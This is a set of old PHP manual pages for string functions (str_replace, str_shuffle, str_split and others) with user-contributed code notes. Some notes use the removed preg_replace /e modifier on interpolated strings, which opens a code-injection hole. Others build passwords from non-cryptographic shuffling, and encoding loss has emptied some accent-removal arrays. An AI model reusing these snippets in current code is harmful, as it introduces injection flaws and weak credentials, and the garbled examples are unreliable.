       $cur = 0;
     }
   }
   return $data.substr($string,$last);
  }
?>

Example:
<?php
$string = '`atext`,`btext`';
echo replace_different('`',array('0~`','1~`'),$string);
?>
Will return:

0~`atext1~`,0~`btext1~`
will at 4lx dot net
13-Apr-2005 09:06
This function is an example of replacing month numbers with the actual textual value.

<?php
function createMonths($month_start,$month_end) {
   $month = array("1", "2", "3", "4", "5", "6",
     "7", "8", "9", "10", "11", "12");
   $month_replace = array("January","February","March","April","May","June",
   "July","August","September","October","November", "December");
   $x_end = $month_end + 1;
   // Add one to the value of the end month
   for ($x = $month_start; $x < $x_end; $x++) {
       $new_months .= $x.",";
       // Count from the begin month to the end month
       }
       $new_months = substr($new_months,0,-1);
       // Cut the last comma off the end month
       $newmonth = explode(",", $new_months);
       // Place each int month into an array
       $newsmonth = str_replace($month,$month_replace,$newmonth);
       // Replace the int month with a textual string
       var_dump ($newsmonth);
       // Dump the data
   }
createMonths(1,3);
/* Will print array(3)
{ [0]=> string(7) "January" [1]=> string(8) "February" [2]=> string(5) "March" } */
?>
a_baboshin at mail dot ru
04-Apr-2005 10:00
I wrote 2 function's file_replace() and dir_replace() with str_replace() signature

   function file_replace ($search, $replace, $filename) {
       if (file_exists($filename)) {
           $cnt = file_get_contents($filename);
           if (strstr($cnt, $search)) {
               $cnt = str_replace($search, $replace, $cnt);
               return file_put_contents($filename, $cnt);
           }
           return true;
       }
       return false;
   }

   function dir_replace ($search, $replace, $dirname, $recursive = true) {
       $dir = opendir($dirname);
       while ($file = readdir($dir)) {
           if ($file != '.' && $file != '..') {
               if (is_dir($dirname.'/'.$file)) {
                   if ($recursive) {
                       dir_replace($search, $replace, $dirname.'/'.$file);
                   }
               } else {
                   file_replace($search, $replace, $dirname.'/'.$file);
               }
           }
       }
   }

usage ('search', 'replace', '/usr/home/root');
joaquin at metaltoad dot com
25-Mar-2005 08:04
This is an another accent remover which converts foreign characters to their English equivilent. It converts any  character's to their HTML value and then uses preg_replace to find the desired value.  The function is based on a earlier entry: replace_accents.

function remove_accents( $string )
{
   $string = htmlentities($string);
   return preg_replace("/&([a-z])[a-z]+;/i","$1",$string);
}

example:

$string = "C";
echo remove_accents( $string );

// will output: eecyCECA
hermes at andycostell dot com
12-Dec-2004 03:57
A simple function to take out the double line breaks "%0D%0A" from a string made from text being wrapped in a textarea and turn them into single line breaks.

<?php
function remove_extra_linebreaks($string) {
     $new_string=urlencode ($string);
   $new_string=ereg_replace("%0D", " ", $new_string);
   $new_string=urldecode  ($new_string);
  return $new_string;
}
?>

I use it when taking text from a textarea with wrap="hard" that I'm emailing out on the next page, for instance. Otherwise there's an extra empty line between each line in the emailed text, which looks nasty!
aidan at php dot net
27-Jun-2004 01:53
Here is a simple function for highlighting a needle in text. It is careful to not replace text in HTML tags (unless specified).

http://aidan.dotgeek.org/lib/?file=function.str_highlight.php

Example: The google method of highlighting

<?php
$text = "Here is some text with a search term";
$needle = "search term";
echo str_highlight($text, $needle);
?>

Output:
Here is some text with a <strong>search term</strong>
aidan at php dot net
27-Jun-2004 01:07
If you would like to convert tabs to spaces, you could use the code:

<?php
str_replace("\t", "    ", $text);
?>

However, sometimes this is not good enough. To be technically correct, a tab is not 4 spaces, a tab shifts the text to the next predefined column. Usually these predefined columns occur every 4 spaces from the start of the line.

If you want to convert tabs to spaces while ensuring consistant formatting, try this function...

http://aidan.dotgeek.org/lib/?file=function.tab2space.php
rylas at mudmirror dot com
04-Jun-2004 06:48
An easy way to convert email addresses to the PHP.net comment-style email addresses:

<?
$email = "john@doe.org";
$search = array('@', '.');
$replace = array(" at ", " dot ");
$result = str_replace($search, $replace, $email);
?>

Outputs:
john at doe dot org
jr at adslate dot com
03-Jun-2004 08:52
When the first argument to str_replace() is an array, the elements are checked in increasing order of array index, as one would expect.

For example,

str_replace (array ('ABC', 'BC'), array ('E', 'F'), 'ABC')
returns 'E';

str_replace (array ('BC', 'ABC'), array ('E', 'F'), 'ABC')
returns 'AE'.
Darren Gates - http://www.tufat.com
15-Mar-2004 05:22
Here's a version of str_replace which ignores differences in spacing (like tab, carriage return, line feed, etc.) in the two input strings.

Courtesy of http://www.tufat.com (Darren's Script Archive).

<?php
function str_rep($srcfor,$chwith,$mystr)
{
   if(strlen($mystr) == 0)
       return "";

   $tok  = strtok($srcfor," \n\t\r");
   $strsrc = array();
   $idxsrc = array();
   $i = 0;
   while($tok)
   {
       $strsrc[$i] = $tok;
       $pos = strpos($srcfor,$tok);
       $idxsrc[$i]=$pos;
       $tok = strtok(" \n\r\t");
       $i++;
   }

   $tok2  = strtok($mystr," \n\t\r");
   $str = array();
   $idx = array();
   $j = 0;

   while($tok2)
   {
       $str[$j] = $tok2;
       $pos = strpos($mystr,$tok2);
       $idx[$j]=$pos;
       $tok2 = strtok(" \n\r\t");
       $j++;
   }

   for($m=0;$m<$j;$m++)
   {
       if(strcasecmp($strsrc[0] , $str[$m]) == 0)
       {
           for($l=1;$l<$i;$l++)
           {
               if(strcasecmp($strsrc[$l],$str[$m+$l]) != 0)
                   break;
           }
           $l--;
           if(($l+1) == $i)
           {

               $new_str=substr($mystr,0,$idx[$m]);
               $new_str .= $chwith;

               $index = $idx[$m+$l]+strlen($str[$l+$m]);
               $len = strlen($mystr)-$index;

               if($len > 0)
                   $new_str .= str_rep($srcfor,$chwith,substr($mystr,$index,$len));

               return $new_str;
               break;
           }

       }
   }

   return $mystr;
}
?>
unusedacct at no$p at m dot comcast dot net
20-Feb-2004 01:45
For those who haven't yet updated to PHP 5 yet, here is a quick function to do regular str_replace on a string [not arrays] only a certain number of times:

<?php

function str_replace_count($find,$replace,$subject,$count)
{
   $subjectnew = $subject;
   $pos = strpos($subject,$find);
   if ($pos !== FALSE)
   {
     while ($pos !== FALSE)
     {
         $nC = $nC + 1;
         $temp = substr($subjectnew,$pos+strlen($find));
         $subjectnew = substr($subjectnew,0,$pos) . $replace . $temp;
         if ($nC >= $count)
         {
           break;
         }
         $pos = strpos($subjectnew,$find);
     } // closes the while loop
   } // closes the if
   return $subjectnew;
}

$stuff = "a b a b a b a b a";

print $stuff . " -- the old string<br>\n";

print str_replace_count("a ","c ",$stuff,4) . " -- the new string<br>\n";
// will output c b c b c b c b a -- the new string

?>

Hope this helps.
xavier paz (xpaz at matadracs dot com)
31-Dec-2003 02:39
If both the search and replace params are arrays, str_replace() will apply the substitutions incrementally, it is, it will try the first substitution, then the second using the result from the first one, and so on. It may be OK, or it may be a problem if you only want to change the original text.

For example, consider this code:
<?php
$search = array("one", "two", "three");
$replace = array("two", "three", "one");
$subject = "one two three";
echo str_replace($search, $replace, $subject). "<br>";
// echoes "one one one"
?>

This function makes the substitutions only to the original text.

<?php
/**
 * same as str_replace (array, array, string), but changing only the text in the
 * original string
 * $search and $replace are arrays of strings, $subject is a string
 */
function str_replace_clean($search, $replace, $subject) {
   if (!is_array($search) or !is_array($replace) or !is_string($subject)) return $subject;
   while (count($search)) {
       // get current terms, reduce the arrays for the next iteration
       $search_text = array_shift($search);
       $replace_text = array_shift($replace);
       // check if the substring is present
       $pos = strpos($subject, $search_text);
       if (is_int($pos)) {
           // match found - break in pieces
           $pieces = explode($search_text, $subject);
           if (count($search)) { // only if there are more substitutions to do
               // make next substitutions in every piece of text between matches
               foreach ($pieces as $k => $v) {
                   if (strlen($v)) $pieces[$k] = str_replace_clean($search, $replace, $v);
               }
           }
           $subject = join($replace_text, $pieces);
           break;
       }
   }
   return $subject;
}
?>

To test:
<?php
echo str_replace_clean($search, $replace, $subject);
// echoes "two three one"
?>

-- Xavier
thewolf at pixelcarnage dot com
23-Oct-2003 10:45
I also wanted to replace rude words in a pice of text, I had  str_replace replacing the word with *** but then I had a thought, what if I could replace these bad words and words also very similar? In the end I wrote this code, it uses two functions, one to check if the similarity between two words is high enough to qualify for filtering out and one to do the actual replacing (modified from my word_replace function):

<?php
$text = 'This is some text with a baword in it.';
echo similar_str_replace('badword', '*******', $text, 80);

function is_similar($one, $two, $similarity) {
   similar_text($one, $two, $percent);
   return $percent >= $similarity ? true : false;
}

/**
 * Written by Rowan Lewis of PixelCarnage.com
 * $search(string), the string to be searched for
 * $replace(string), the string to replace $search
 * $subject(string), the string to be searched in
 * $similarity(int), how similar the two words must be
 */
function similar_str_replace($search, $replace, $subject, $similarity = 85) {
   return preg_replace('/[a-zA-Z]+/e', 'is_similar(\'\0\', \'' . $search . '\', \'' . $similarity . '\') ? \'' . $replace . '\': \'\0\';', $subject);
}
?>

Just wack that into a php file, its ready for testing!

Hope someone uses it, and perhaps improves it somehow.
thewolf at pixelcarnage dot com
23-Oct-2003 10:38
I got sick of trying to replace just a word, so I decided I would write my own string replacement code. When that code because far to big and a little faulty I decided to use a simple preg_replace:

<?php
/**
 * Written by Rowan Lewis of PixelCarnage.com
 * $search(string), the string to be searched for
 * $replace(string), the string to replace $search
 * $subject(string), the string to be searched in
 */
function word_replace($search, $replace, $subject) {
   return preg_replace('/[a-zA-Z]+/e', '\'\0\' == \'' . $search . '\' ? \'' . $replace . '\': \'\0\';', $subject);
}
?>

I hope that this code helpes someone!
David Gimeno i Ayuso (info at sima-pc dot com)
25-Aug-2003 09:12
Take care with order when using arrays in replacement.

<?php
$match=array("ONE","TWO","THREE");
$replace=array("TWO WORDS","MANY LETTERS","OTHER IDEAS");
$sample="ONE SAMPLE";
echo str_replace($match,$replace,$sample);
?>

It will show: "MANY LETTERS WORDS SAMPLE"

That is, after replacing "ONE" with "TWO WORDS", process follows with next array item and it changes "TWO" with "MANY LETTERS".
imho at auspantheon dot com
27-Jun-2003 07:08
An excellent way of making sure your pages don't contain "invalid entities", IE. Valid HTML is using the following function.

Most forum packages / extensions provide output containing the symbol &, we don't want this!

<?php
function include_safe ($file)
{
   $array = file($file);

   foreach ($array as $line) {
   print str_replace('&', '&amp;', $line);
   }
}
?>

The same technique could also be used in conjuntion with htmlmspecialchars or htmlentities.
dbergeron [at] clincab [dot] com
26-Jun-2003 02:08
here is a function to highlight a part of a string. Unlike str_replace, it is both case insensitive, and maintains the case of the highlighted text.

<?php
function highlight($x,$var) {//$x is the string, $var is the text to be highlighted
   if ($var != "") {
       $xtemp = "";
       $i=0;
       while($i<strlen($x)){
           if((($i + strlen($var)) <= strlen($x)) && (strcasecmp($var, substr($x, $i, strlen($var))) == 0)) {
//this version bolds the text. you can replace the html tags with whatever you like.
                   $xtemp .= "<b>" . substr($x, $i , strlen($var)) . "</b>";
                   $i += strlen($var);
           }
           else {
               $xtemp .= $x{$i};
               $i++;
           }
       }
       $x = $xtemp;
   }
   return $x;
}
?>

Example:
<?php
$string = "AaBbCcDd";
$string = highlight($string, "bc");
echo $string; //AaB<b>bC</b>cDd
?>
13-Jun-2003 06:59
Having a string for $search and an array for $replace won't work. This is mentioned on the preg_replace() page where it's described as not making sense, but not here.

But one could interpret such a situation and hence implement str_replace so that a signature of (string, array, string) or even (string, array, array) would "work". The result of

<?php
$search = '*';
$replace = range(1,20);
$subject = '{*}';
$result = str_replace($search, $replace, $subject);
?>

could be an array of elements "{1}", "{2}", "{3}" .... In other words it would have the same effect as

<?php
$search = '*';
$replace = range(1,20);
$subject = '{*}';
$result = array();
foreach($replace as $r) {
   $result[] = str_replace($search, $r, $subject);
}
?>

I leave more elaborate applications to your imagination :)

The result of a str_replace(string,array,array) would therefore presumably be an array of arrays, with its dimensions indexed by the two arrays passed in. But then there's the question of which is the first dimension and which is the second.
chirag at chime dot tv
23-Mar-2003 04:35
All the Google-like highlight functions above mess up when the needle is within the url too. getHTMLHighlight function below works fine:

<?php
function getHTMLHighlight($needle, $haystack, $hlS, $hlE)
{
   $parts = explode(">", $haystack);
   foreach($parts as $key=>$part)
   {
     $pL = "";
       $pR = "";

     if(($pos = strpos($part, "<")) === false)
       $pL = $part;
     elseif($pos > 0)
     {
       $pL = substr($part, 0, $pos);
       $pR = substr($part, $pos, strlen($part));
     }
     if($pL != "")
       $parts[$key] = preg_replace('|\b('.quotemeta($needle).')\b|iU', $hlS.'\\1'.$hlE, $pL) . $pR;
   }
   return(implode(">", $parts));
}
?>

Usage:

getHTMLHighlight($needle, $haystack, "<b style=\"background-color:#FF3145\">", "</b>");
mv@anywhere dot br
13-Feb-2003 10:03
how to remove accents from text

<?php
function accents($text) {
   global $export;
   $search  = array ('', '', '', '', '', '', '', '', '', '', '', '', '');
   $replace = array ('c', 'a', 'e', 'i', 'o', 'u', 'a', 'o', 'a', 'e', 'i', 'o', 'u');
   $export    = str_replace($search, $replace, $text);
   return $export;
}

accents("Carnaval  s no Brasil");
?>
rit at NOSPAMchatol dot com
07-Jan-2003 08:32
I was trying to remove newlines from a textarea input (result of failed submission of parent form - JS verification not possible in this situation) to send back to the textarea via javascript (due to the fact that setting the value in the textarea tag does not work) and had a hard time figuring it out.

If anyone cares, try replacing: "%0D%0A" which is how I found it(changed my POST method to GET) and tracked it down in the address bar of my browser. Hope this helps, I sure wish someone else had posted it earlier!
Shane43 at aol dot com
17-Oct-2002 10:12
Keep in mind that if you are trying to remove all the newlines (\n) from a fields that was submitted in a form, you may need look for \r\n instead:

If this doesn't work:
$text=str_replace ("\n", " ", $text);

then try this:
$text=str_replace ("\r\n", " ", $text);
art at zollerwagner dot com
10-Oct-2002 06:26
To use one or two arrays in str_replace,

this appears to be the correct format:
<?php
str_replace(array('1st_current_needle_element', '2nd, '3rd'), array('1st_new_needle_element', '2nd', '3rd'), $haystack)
?>

Example of a single array, which simply removes the characters in the first array:
<?php
$text=str_replace(array('<', '>', '', '/', '='), "", $text);
?>

This will delete the chars: < > \ / =

It could also be done by first defining the array(s), like this:
<?php
$targetChars=array('<', '>', '', '/', '=');
$text=str_replace($targetChars, "", $text);
?>
gwkeeper at mmhk dot cz
01-Oct-2002 02:47
Hi, if You want to use case insensitive replacement with support eastern languages e.g. czech special chars try this:

<?php
$text = eregi_replace ( (sql_regcase($searched_text)), "<span class=\"Marked_1\" >\\0</span>", $text );
?>

without sql_regcase it did not found some special eastern chars
paul at atomicrevs dot net
28-Aug-2002 10:29
I made this to parse values returned in a form, but to preserve formatting so that it doesn't get removed in the "remove anything but alphanumeric" line...  Probably not elegant, but it works.

<?php
foreach ($_POST as $key => $val)
  {
   $val = preg_replace("(\r\n|\n|\r)", "#", $val);
   $val = preg_replace("/[^0-9a-z -#]/i",'', $val); // strip anything we don't want
   $val = str_replace("#", "*", $val); // * Put a p or br here.
   $_POST[$key] = $val;
  }
?>
unleadedis at optusnet dot com dot au dot nospam
12-Aug-2002 03:48
The problem is that str_replace seems to call the replace even though there may not be a replacement.

This is a problem in that in my parsing script when it finds a certain tag it calls a function, this function does a few SQL queries. It has been noticed that doing a str_replace on a page that contains no 'tag' that I am searching for, the function is called anyway!!!

To get around this I have to do a str_pos to see if it exists then call str_replace.

eg,
<?php
// Breadcrumb trail (same as per sitemap)
$bc_pos = strpos($string,"[[breadcrumbtrail]]");
if ($bc_pos || is_numeric($bc_pos)) { // true ? then exectue!
   $string = str_replace ("[[breadcrumbtrail]]",
         generate_breadcrumb($nodedata_arr, $db), $string);
}
?>
tapken at engter dot de
25-May-2002 06:34
If you want to replace only the first occurence of a string you can use this function:

<?php
function str_replace_once($needle, $replace, $haystack) {
   // Looks for the first occurence of $needle in $haystack
   // and replaces it with $replace.
   $pos = strpos($haystack, $needle);
   if ($pos === false) {
       // Nothing found
       return $haystack;
   }
   return substr_replace($haystack, $replace, $pos, strlen($needle));
}
?>
dpardo at fia dot es
04-Apr-2002 04:03
If you are working with spanish characters and you are using accent (marks,quotes) you have to use something similar to this

$q = str_replace("&aacute;", "a", $q);
add a note add a note

后退 | 起点 | 前进
str_repeat | 上一级 | str_rot13


str_rot13

(PHP 4 >= 4.2.0, PHP 5)

str_rot13 -- Perform the rot13 transform on a string

Description

string str_rot13 ( string str )

This function performs the ROT13 encoding on the str argument and returns the resulting string. The ROT13 encoding simply shifts every letter by 13 places in the alphabet while leaving non-alpha characters untouched. Encoding and decoding are done by the same function, passing an encoded string as argument will return the original version.

例子 1. str_rot13() example

<?php

echo str_rot13('PHP 4.3.0'); // CUC 4.3.0

?>

注: The behaviour of this function was buggy until PHP 4.3.0. Before this, the str was also modified, as if passed by reference.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
str_replace | 上一级 | str_shuffle


str_shuffle

(PHP 4 >= 4.3.0, PHP 5)

str_shuffle -- Randomly shuffles a string

Description

string str_shuffle ( string str )

str_shuffle() shuffles a string. One permutation of all possible is created.

例子 1. str_shuffle() example

<?php
$str = 'abcdef';
$shuffled = str_shuffle($str);

// This will echo something like: bfdaec
echo $shuffled;
?>

See also shuffle() and rand().

add a note add a note User Contributed Notes
nmoyroud at teledetection dot fr
03-Nov-2005 08:38
Just another update to password builder function. With this version, you can choose the number of alphanumeric characters to add and the number of non-alphanumeric characters. You obtain a more secure password. You can add another characters to the non-alphanumeric list if you need.
If you want a password with 8 alphanumeric and 3 non-alphanumeric characters in a random order, just call :
random_passwd(8,3);

function generatePasswd($numAlpha=6,$numNonAlpha=2) {
   $pwd = '';
   $listAlpha = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
   $listNonAlpha = ',;:!?.$/*-+&@_+;./*&?$-!,';

   $start = mt_rand(1, (strlen($listAlpha)-$numAlpha));
   $string = str_shuffle($listAlpha);
   $pwd .= substr($string,$start,$numAlpha);

   $start = mt_rand(1, (strlen($listNonAlpha)-$numNonAlpha));
   $string = str_shuffle($listNonAlpha);
   $pwd .= substr($string,$start,$numNonAlpha);

   return str_shuffle($pwd);
}
support at wiredlabs dot net
16-Aug-2005 05:03
Just an update to sfalcon's function.  Chooses a random number within the length and then selects a random segment not the current segment of 1 to $numchar. Also added upper-case chars.

function random_passwd($numchar=8) {
   $str = "abcefghijklmnopqrstuvwxyz1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ";
   $start = mt_rand(1, (strlen($str)-$numchar));
   $string = str_shuffle($str);
   $password = substr($string,$start,$numchar);
   return($password);
}
Qube, Efnet #php
05-Aug-2005 07:20
(correction)
I balked at the loop method used below in inverting and randomising capitalisation and released that we just need to flip the bit (3rd bit or 6th depending on what way you look at it) and it would cause the case change in a character.

Full code and example:
http://www.pgregg.com/projects/php/code/str_case.php
(append an s to the url to get the .phps source)

I came up with a method and thanks to arpad (optimising as ever! :) we now have:

Invert case:
preg_replace('/[a-z]/ie', '\'$0\' ^ str_pad(\'\', strlen(\'$0\'), \' \')', $input);

Randomise case:
preg_replace('/[a-z]/ie', '(rand(0,1) ? \'$0\' ^ str_pad(\'\', strlen(\'$0\'), \' \') : \'$0\')', $input);

and for good measure:
Upper case:
preg_replace('/[a-z]/e', '\'$0\' & str_pad(\'\', strlen(\'$0\'), chr(223))', $input);

Lower case:
preg_replace('/[A-Z]/e', '\'$0\' | str_pad(\'\', strlen(\'$0\'), \' \')', $input);
rudigreen at gmail dot com
02-Jul-2005 10:20
Here are 2 functions, one inverts the case of a string and the other one randomizes the captilization in a string, kinda
useful string operations.

<?

//Inverts the case of a string
function invert_case($str)
{
   $nstr = '';
   for($i=0;$i<strlen($str);$i++)
   {
       $char = substr($str,$i,1);
       //If it's lower case make it upper case
       if($char == strtolower($char))
       {
           $char = strtoupper($char);
       }
       else //if it's upper than make it lower
       {
           $char = strtolower($char);
       }
       $nstr .= $char;
   }
   return $nstr;
}

//Randomly capilizes/uncaptilizes chars in a string
function rand_case($str)
{
   $nstr = '';
   for($i=0;$i<strlen($str);$i++)
   {
       $char = substr($str,$i,1);
       $char = invert_case($char);
       //2 options, to change or not to change
       rand(0,1) == 1 ? $char = invert_case($char) : null;
       $nstr .= $char;
   }
   return $nstr;
}

//Example:
echo rand_case("pHp rooLz! gUyZ"); //produces something random
echo invert_case("pHP STRiNG sEx");//produces Php strIng SeX
?>
Michiel van den boogaard
17-Jan-2005 06:03
Shortend function for PHP < 4.3
<?php
function RandomPass($numchar)
{
   $word = "a,b,c,d,e,f,g,h,i,j,k,l,m,1,2,3,4,5,6,7,8,9,0";
   $array=explode(",",$word);
   shuffle($array);
   $newstring = implode($array,"");
   return substr($newstring, 0, $numchar);
}
?>
aidan at php dot net
27-Aug-2004 06:31
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
sfalcon_(at)_pymesweb_(dot)_com
26-Aug-2004 11:28
You can use str_shuffle to make simple and nice random passwords:

function random_passwd($numchar) {
     $string =str_shuffle("abcefghijklmnopqrstuvwxyz1234567890");
     $password = substr($string,1,$numchar);

     return($password);
}

echo random_passwd('8') // Will return something like "xa3dh214" =)
add a note add a note

后退 | 起点 | 前进
str_rot13 | 上一级 | str_split


str_split

(PHP 5)

str_split -- Convert a string to an array

Description

array str_split ( string string [, int split_length] )

Converts a string to an array. If the optional split_length parameter is specified, the returned array will be broken down into chunks with each being split_length in length, otherwise each chunk will be one character in length.

FALSE is returned if split_length is less than 1. If the split_length length exceeds the length of string, the entire string is returned as the first (and only) array element.

例子 1. Example uses of str_split()

<?php

$str = "Hello Friend";

$arr1 = str_split($str);
$arr2 = str_split($str, 3);

print_r($arr1);
print_r($arr2);

?>

Output may look like:

Array
(
    [0] => H
    [1] => e
    [2] => l
    [3] => l
    [4] => o
    [5] =>
    [6] => F
    [7] => r
    [8] => i
    [9] => e
    [10] => n
    [11] => d
)

Array
(
    [0] => Hel
    [1] => lo
    [2] => Fri
    [3] => end
)

例子 2. Examples related to str_split()

<?php

$str = "Hello Friend";

echo $str{0};  // H
echo $str{8};  // i

// Creates: array('H','e','l','l','o',' ','F','r','i','e','n','d')
$arr1 = preg_split('//', $str, -1, PREG_SPLIT_NO_EMPTY);

?>

See also chunk_split(),
preg_split(),
split(),
count_chars(),
str_word_count(), and
for.

add a note add a note User Contributed Notes
user at mockme dot com
25-Mar-2006 09:53
found this great example on a php board for those not using php5, as an alternative to the posts below this

<?php
if(!function_exists('str_split')){
   function str_split($string,$split_length=1){
       $count = strlen($string);
       if($split_length < 1){
           return false;
       } elseif($split_length > $count){
           return array($string);
       } else {
           $num = (int)ceil($count/$split_length);
           $ret = array();
           for($i=0;$i<$num;$i++){
               $ret[] = substr($string,$i*$split_length,$split_length);
           }
           return $ret;
       }
   }
}
?>
simple
16-Mar-2006 11:54
if (!function_exists("str_split")) {
   function str_split($string, $length = 1) {
       if ($length <= 0) {
           trigger_error(__FUNCTION__."(): The the length of each segment must be greater then zero:", E_USER_WARNING);
           return false;
       }
       $splitted  = array();
       while (strlen($string) > 0) {
           $splitted[] = substr($string, 0, $length);
           $string = substr($string, $length);
       }
       return $splitted;
   }
}
14-Mar-2006 09:49
Note to function by carlosreche at yahoo dot com.

The while:
<?php
...
               while ($str_length--) {
                   $splitted[$i] = $string[$i++];
               }
...
?>
.. result in index starting at 1.
Ie: str_split("ABC") gives
Array
(
   [1] => A
   [2] => B
   [3] => C
)
While php5's str_split("ABC") gives
Array
(
   [0] => A
   [1] => B
   [2] => C
)
And his str_split("ABC",2) gives index starting at 0.
Change to this (or something similar):
<?php
...
               while ($str_length--) {
                   $splitted[$i] = $string[$i];
                   $i++;
               }
...
?>
.... or use heavyraptor's function. A bit more sclick,..
heavyraptor
11-Mar-2006 06:07
I think that the last post by carlosreche at yahoo dot com is too complicated.
It's much easier if you do it like this:

<?php
if (!function_exists("str_split")) {
  function str_split($str,$length = 1) {
   if ($length < 1) return false;
   $strlen = strlen($str);
   $ret = array();
   for ($i = 0; $i < $strlen; $i += $length) {
     $ret[] = substr($str,$i,$length);
   }
   return $ret;
  }
}
?>

I hope it helps for those with PHP <5
carlosreche at yahoo dot com
15-Feb-2006 08:23
For those who work with PHP < 5:

<?php

if (!function_exists("str_split")) {
   function str_split($string, $length = 1) {
       if ($length <= 0) {
           trigger_error(__FUNCTION__."(): The the length of each segment must be greater then zero:", E_USER_WARNING);
           return false;
       }
       $splitted  = array();
       $str_length = strlen($string);
       $i = 0;
       if ($length == 1) {
           while ($str_length--) {
               $splitted[$i] = $string[$i++];
           }
       } else {
           $j = $i;
           while ($str_length > 0) {
               $splitted[$j++] = substr($string, $i, $length);
               $str_length -= $length;
               $i += $length;
           }
       }
       return $splitted;
   }
}

?>
Hage Yaapa
04-Feb-2006 10:27
The very handy str_split() was introduced in PHP 5, but a lot of us are still forced to use PHP 4 at our host servers. And I am sure a lot of beginners have looked or are looking for a function to accomplish what str_split() does.

Taking advantge of the fact that strings are 'arrays' I wrote this tiny but useful e-mail cloaker in PHP, which guarantees functionality even if JavaScript is disabled in the client's browser. Watch how I make up for the lack of str_split() in PHP 4.3.10.

<?php

// cloackEmail() accepts a string, the email address to be cloaked
function cloakEmail($email) {

// We create a new array called $arChars, which will contain the individula characters making up the email address. The array is blank for now.
   $arChars = array();

// We extract each character from the email 'exploiting' the fact that strings behave like an array: watch the '$email[$i]' bit, and beging to fill up the blank array $arChars
   for ($i = 0; $i < strlen($email); $i++) { $arChars[] = $email[$i]; }

// Now we work on the $arChars array: extract each character in the array and print out it's ASCII value prefixed with '&#' to convert it into an HTML entity
   foreach ($arChars as $char) { print '&#'.ord($char); }

// The result is an email address in HTML entities which, I hope most email address harvesters can't read.

}
print cloakEmail('someone@nokikon.com');
?>

###### THE CODE ABOVE WITHOUT COMMENTS ######

<?php
function cloakEmail($email) {
   $arChars = array();
   for ($i = 0; $i < strlen($email); $i++) { $arChars[] = $email[$i]; }
   foreach ($arChars as $char) { print '&#'.ord($char); }
}
print cloakEmail('someone@nokikon.com');
?>
In creating this little utility, I demonstrated how the lack of str_split() can be made up in PHP < 5. If you got how it was accomplished, you could write a function to do exactly what str_split() does in PHP 5 and even name it 'str_split()'. :)
organek at hektor dot umcs dot lublin dot pl
21-May-2005 07:57
[Editor's Note: Or just: php.net/wordwrap]
This is a little function to split a string into shorter strings with max lenght $n in such way, that it don't split words (it search for spaces), it's usefull for articles or sth.
Result is put in $ttab variable, and function result is number of "pages".

<?php
function divide_text($text, $n, &$ttab) {

   $ttab = array();
   $l = strlen($text); // text length
   $cb = 0;    //copy begin from..
   $p = 0; // parts

   if ($l  <= $n) {
       $ttab[0] = $text;
       return 1;
   } else {
       $ctrl = 1;
       while(((($p-1) * $n) < $l) && ($ctrl < 100)) {
       $crtl++; // control variable, to protect from infinite loops

       $tmp = substr($text, $cb, $n);

       // we're looking for last space in substring
       $lastpos = strrpos($tmp," ");

       if ( (is_bool($lastbool) && !$lastpos) || ( $l - $cb <= $n)) {
           $ttab[$p] = $tmp;

       } else  {
           $tmpgood = trim(substr($tmp, 0,$lastpos));  // if they were another spaces at the end..
           $ttab[$p] = $tmpgood;
           $cb += $lastpos + 1 ;

       }; // if
       $p++;
       }; //for
       return $p;
   }; // if

} // divide text

?>
aidan at php dot net
21-May-2004 12:53
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
add a note add a note

后退 | 起点 | 前进
str_shuffle | 上一级 | str_word_count


str_word_count

(PHP 4 >= 4.3.0, PHP 5)

str_word_count -- Return information about words used in a string

说明

mixed str_word_count ( string string [, int format [, string charlist]] )

Counts the number of words inside string. If the optional format is not specified, then the return value will be an integer representing the number of words found. In the event the format is specified, the return value will be an array, content of which is dependent on the format. The possible value for the format and the resultant outputs are listed below.

For the purpose of this function, 'word' is defined as a locale dependent string containing alphabetic characters, which also may contain, but not start with "'" and "-" characters.

参数

string

The string

format

Specify the return value of this function. The current supported values are:

  • 0 - returns the number of words found

  • 1 - returns an array containing all the words found inside the string

  • 2 - returns an associative array, where the key is the numeric position of the word inside the string and the value is the actual word itself

charlist

A list of additional characters which will be considered as 'word'

返回值

Returns an array or an integer, depending on the format chosen.

更新日志

版本 | 说明
5.1.0 | Added the charlist parameter

范例

例子 1. A str_word_count() example

<?php

$str = "Hello fri3nd, you're
       looking          good today!";

print_r(str_word_count($str, 1));
print_r(str_word_count($str, 2));
print_r(str_word_count($str, 1, 'àá3'));

echo str_word_count($str);

?>

上例将输出：

Array
(
    [0] => Hello
    [1] => fri
    [2] => nd
    [3] => you're
    [4] => looking
    [5] => good
    [6] => today
)

Array
(
    [0] => Hello
    [6] => fri
    [10] => nd
    [14] => you're
    [29] => looking
    [46] => good
    [51] => today
)

Array
(
    [0] => Hello
    [1] => fri3nd
    [2] => you're
    [3] => looking
    [4] => good
    [5] => today
)

7

参见

explode()
preg_split()
split()
count_chars()
substr_count()

add a note add a note User Contributed Notes
rabin at rab dot in
05-Apr-2006 02:03
There is a small bug in the "trim_text" function by "webmaster at joshstmarie dot com" below. If the string's word count is lesser than or equal to $truncation, that function will cut off the last word in the string.

This fixes the problem:

<?php
function trim_text_fixed($string, $truncation = 250) {
   $matches = preg_split("/\s+/", $string, $truncation + 1);
   $sz = count($matches);
   if ( $sz > $truncation ) {
       unset($matches[$sz-1]);
       return implode(' ',$matches);
   }
   return $string;
}
?>
webmaster at joshstmarie dot com
28-Nov-2005 09:29
I re-examined the methods I used in my last script, as well as the other methods shown on the comments in this page. I've revised my code a great deal since then.

This new version, will limit paragraphs to a certain amount of words. It's the fastest possible way I can see of doing it... so here it is:

// Truncation is by word limit, not character limit. So if you limit
// to 255, then it will cut off a text item to 255 words, not 255 characters
function trim_text ($string, $truncation=250) {
  $string = preg_split("/\s+/",$string,($truncation+1));
  unset($string[(sizeof($string)-1)]);
  return implode(' ',$string);
}

By avoiding array_slice, it is much faster. Correcting for multiple spaces still slows it down on large text items, but it's still blazing quick in the end.
webmaster at joshstmarie dot com
26-Sep-2005 07:58
Trying to make an effiecient word splitter, and "paragraph limiter", eg, limit item text to 100, or 200 words and so-forth.

I don't know how well this compares, but it works nicely.

function trim_text($string, $word_count=100)
{
